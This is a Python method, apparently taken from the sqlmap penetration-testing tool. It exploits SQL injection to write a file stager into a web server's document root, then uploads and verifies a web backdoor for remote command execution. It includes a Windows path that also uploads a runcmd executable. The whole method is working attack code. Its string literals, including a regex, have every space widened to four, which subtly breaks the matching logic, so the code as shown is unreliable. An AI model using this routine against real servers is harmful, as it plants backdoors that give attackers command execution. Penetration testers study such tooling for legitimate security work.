'This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.'

def webInit(self):

    if ((self.webBackdoorUrl is not None) and (self.webStagerUrl is not None) and (self.webApi is not None)):
        return
    self.checkDbmsOs()
    default = None
    choices = list(getPublicTypeMembers(WEB_API, True))
    for ext in choices:
        if conf.url.endswith(ext):
            default = ext
            break
    if (not default):
        default = (WEB_API.ASP if Backend.isOs(OS.WINDOWS) else WEB_API.PHP)
    message = 'which    web    application    language    does    the    web    server    '
    message += 'support?\n'
    for count in xrange(len(choices)):
        ext = choices[count]
        message += ('[%d]    %s%s\n' % ((count + 1), ext.upper(), ('    (default)' if (default == ext) else '')))
        if (default == ext):
            default = (count + 1)
    message = message[:(-1)]
    while True:
        choice = readInput(message, default=str(default))
        if (not choice.isdigit()):
            logger.warn('invalid    value,    only    digits    are    allowed')
        elif ((int(choice) < 1) or (int(choice) > len(choices))):
            logger.warn(('invalid    value,    it    must    be    between    1    and    %d' % len(choices)))
        else:
            self.webApi = choices[(int(choice) - 1)]
            break
    directories = list(arrayizeValue(getManualDirectories()))
    directories.extend(getAutoDirectories())
    directories = list(oset(directories))
    path = (urlparse.urlparse(conf.url).path or '/')
    if (path != '/'):
        _ = []
        for directory in directories:
            _.append(directory)
            if (not directory.endswith(path)):
                _.append(('%s/%s' % (directory.rstrip('/'), path.strip('/'))))
        directories = _
    backdoorName = ('tmpb%s.%s' % (randomStr(lowercase=True), self.webApi))
    backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('backdoor.%s_' % self.webApi)))
    stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('stager.%s_' % self.webApi)))
    for directory in directories:
        if (not directory):
            continue
        stagerName = ('tmpu%s.%s' % (randomStr(lowercase=True), self.webApi))
        self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
        uploaded = False
        directory = ntToPosixSlashes(normalizePath(directory))
        if ((not isWindowsDriveLetterPath(directory)) and (not directory.startswith('/'))):
            directory = ('/%s' % directory)
        if (not directory.endswith('/')):
            directory += '/'
        infoMsg = ("trying    to    upload    the    file    stager    on    '%s'    " % directory)
        infoMsg += "via    LIMIT    'LINES    TERMINATED    BY'    method"
        logger.info(infoMsg)
        self._webFileInject(stagerContent, stagerName, directory)
        for match in re.finditer('/', directory):
            self.webBaseUrl = ('%s://%s:%d%s/' % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')))
            self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
            debugMsg = ("trying    to    see    if    the    file    is    accessible    from    '%s'" % self.webStagerUrl)
            logger.debug(debugMsg)
            (uplPage, _, _) = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
            uplPage = (uplPage or '')
            if ('sqlmap    file    uploader' in uplPage):
                uploaded = True
                break
        if (not uploaded):
            warnMsg = 'unable    to    upload    the    file    stager    '
            warnMsg += ("on    '%s'" % directory)
            singleTimeWarnMessage(warnMsg)
            if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                infoMsg = ("trying    to    upload    the    file    stager    on    '%s'    " % directory)
                infoMsg += 'via    UNION    method'
                logger.info(infoMsg)
                stagerName = ('tmpu%s.%s' % (randomStr(lowercase=True), self.webApi))
                self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)
                (handle, filename) = tempfile.mkstemp()
                os.close(handle)
                with open(filename, 'w+b') as f:
                    _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, ('stager.%s_' % self.webApi)))
                    _ = _.replace('WRITABLE_DIR', utf8encode((directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)))
                    f.write(_)
                self.unionWriteFile(filename, self.webStagerFilePath, 'text', forceCheck=True)
                for match in re.finditer('/', directory):
                    self.webBaseUrl = ('%s://%s:%d%s/' % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/')))
                    self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)
                    debugMsg = ("trying    to    see    if    the    file    is    accessible    from    '%s'" % self.webStagerUrl)
                    logger.debug(debugMsg)
                    (uplPage, _, _) = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                    uplPage = (uplPage or '')
                    if ('sqlmap    file    uploader' in uplPage):
                        uploaded = True
                        break
        if (not uploaded):
            continue
        if (('<%' in uplPage) or ('<?' in uplPage)):
            warnMsg = ("file    stager    uploaded    on    '%s',    " % directory)
            warnMsg += 'but    not    dynamically    interpreted'
            logger.warn(warnMsg)
            continue
        elif (self.webApi == WEB_API.ASPX):
            kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
            kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)
        infoMsg = 'the    file    stager    has    been    successfully    uploaded    '
        infoMsg += ("on    '%s'    -    %s" % (directory, self.webStagerUrl))
        logger.info(infoMsg)
        if (self.webApi == WEB_API.ASP):
            match = re.search('input    type=hidden    name=scriptsdir    value="([^"]+)"', uplPage)
            if match:
                backdoorDirectory = match.group(1)
            else:
                continue
            _ = ('tmpe%s.exe' % randomStr(lowercase=True))
            if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace('WRITABLE_DIR', backdoorDirectory).replace('RUNCMD_EXE', _)):
                self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'))
                self.webBackdoorUrl = ('%s/Scripts/%s' % (self.webBaseUrl, backdoorName))
                self.webDirectory = backdoorDirectory
            else:
                continue
        else:
            if (not self.webUpload(backdoorName, (posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory), content=backdoorContent)):
                warnMsg = 'backdoor    has    not    been    successfully    uploaded    '
                warnMsg += 'through    the    file    stager    possibly    because    '
                warnMsg += 'the    user    running    the    web    server    process    '
                warnMsg += 'has    not    write    privileges    over    the    folder    '
                warnMsg += 'where    the    user    running    the    DBMS    process    '
                warnMsg += 'was    able    to    upload    the    file    stager    or    '
                warnMsg += 'because    the    DBMS    and    web    server    sit    on    '
                warnMsg += 'different    servers'
                logger.warn(warnMsg)
                message = 'do    you    want    to    try    the    same    method    used    '
                message += 'for    the    file    stager?    [Y/n]    '
                getOutput = readInput(message, default='Y')
                if (getOutput in ('y', 'Y')):
                    self._webFileInject(backdoorContent, backdoorName, directory)
                else:
                    continue
            self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
            self.webDirectory = directory
        self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)
        testStr = 'command    execution    test'
        output = self.webBackdoorRunCmd(('echo    %s' % testStr))
        if (output == '0'):
            warnMsg = 'the    backdoor    has    been    uploaded    but    required    privileges    '
            warnMsg += 'for    running    the    system    commands    are    missing'
            raise SqlmapNoneDataException(warnMsg)
        elif (output and (testStr in output)):
            infoMsg = 'the    backdoor    has    been    successfully    '
        else:
            infoMsg = 'the    backdoor    has    probably    been    successfully    '
        infoMsg += ("uploaded    on    '%s'    -    " % self.webDirectory)
        infoMsg += self.webBackdoorUrl
        logger.info(infoMsg)
        break
